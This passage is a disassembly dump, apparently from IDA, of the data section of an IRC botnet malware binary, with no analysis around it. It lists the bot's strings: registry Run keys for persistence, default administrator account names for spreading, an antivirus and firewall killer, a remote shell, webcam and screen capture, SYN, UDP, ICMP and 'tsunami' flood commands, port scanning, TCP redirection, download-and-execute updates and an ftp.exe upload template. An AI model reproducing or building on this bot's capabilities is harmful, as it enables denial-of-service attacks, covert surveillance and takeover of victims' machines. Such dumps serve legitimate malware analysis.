v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o ; sub_41A19D+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o ; sub_41A19D+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd offset aDb2 ; "db2" align 8 dd offset dword_43D158 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd 0 dword_42923C dd 10h ; DATA XREF: sub_401ACD+AFBr ; sub_401ACD+B27r ... aAdministrateur db 'administrateur',0 ; DATA XREF: ___:00429234o align 10h aAdministrador db 'administrador',0 ; DATA XREF: ___:00429230o align 10h aDb2 db 'db2',0 ; DATA XREF: ___:00429220o aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042921Co ; ___:0042922Co align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_429300 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429334 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 10h unk_429360 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h unk_4293A0 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_4293C4 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_4293E0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_4293EC dd 255C7325h, 73h ; DATA XREF: ___:004013AAo ; sub_415A2F+7Eo dword_4293F4 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_40F6B3+EAo ... unk_4293FC db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o align 4 unk_429464 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429484 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_4294A4 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E62o align 4 unk_4294F8 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E12o ; sub_401ACD+7E79o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFBo align 4 asc_429578: ; DATA XREF: sub_401ACD+7DCBo unicode 0, <~>,0 unk_42957C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 10h unk_4295A0 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_4295C8 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_4295EC db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_429610 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429634 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_429658 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Ao dd 2E732520h, 0 unk_429674 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_4296A0 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_4296C4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_4296EC db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo unk_429718 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429740 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429764 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429784 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_4297AC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_4297D4 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4297F4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_429824 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429844 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429874 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429898 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7884o dd 27732527h, 2Eh unk_4298B4 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_4298D8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7785o dd 0 unk_4298F0 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_429930 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E5o dd 2Eh dword_429948 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_40913Fo dd 746E6573h, 2Eh unk_429964 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_429984 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+762Fo dd 732520h unk_42999C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_4299C8: ; DATA XREF: sub_401ACD+75F8o ; sub_40F6B3+FBo ... dw 0Ah unicode 0, <>,0 unk_4299CC db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 10h unk_4299F0 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_429A14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_429A54 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_429A94 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o align 4 unk_429AC8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 10h unk_429B00 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_429B34 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o align 4 unk_429B68 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 10h unk_429B90 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o unk_429BC0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_429BFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_429C2C db 2Dh ; - ; DATA XREF: sub_401ACD+7361o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo align 10h dword_429C60 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7318o dd 2E732520h, 0 unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_429CAC db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_429CD4 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_429CF4 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_429D14 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_429D30 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Eo dword_429D44 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o ; sub_401ACD+7C47o unk_429D50 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo align 4 dword_429D78 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7073o dd 25203A29h, 73h dword_429D94 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7004o dd 203A2973h, 7325h dword_429DB0 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o dword_429DB8 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F79o dd 203A2973h, 7325h dword_429DD4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o dword_429DE0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo ; sub_401ACD+6F57o ... dword_429DE8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o dword_429DF0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_429E2C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_429E58 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_429E94 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_429EC8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_429EFC dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Do dd 7325h dword_429F14 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408673o dword_429F28 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o ; sub_401ACD+6C14o ... dword_429F38 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h dword_429F80 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_429FBC dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o align 4 dword_429FF4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6980o dd 7325203Ah, 0 unk_42A010 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A034 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A070 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42A0A0 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo ; sub_401ACD:loc_409366o unk_42A0AC db 2Dh ; - ; DATA XREF: sub_401ACD+6789o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42A0D0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A108 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A140 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A16C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A1A8 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A1D8 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A240 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A278 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A2A8 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A2E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A31C db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42A35C db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42A388 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A3CC db 2Dh ; - ; DATA XREF: sub_401ACD+610Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A408 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o align 4 dword_42A464 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o ; sub_401ACD+715Ao unk_42A470 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A4AC db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42A4FC db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o ; sub_401ACD+607Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A534 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42A59C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 10h unk_42A5D0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_42A604 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42A634 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o ; ___:00411C61o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o align 4 unk_42A6A4 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao align 4 unk_42A6CC db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42A70C db 2Dh ; - ; DATA XREF: sub_401ACD+5797o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A744 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42A78C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42A7C0 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 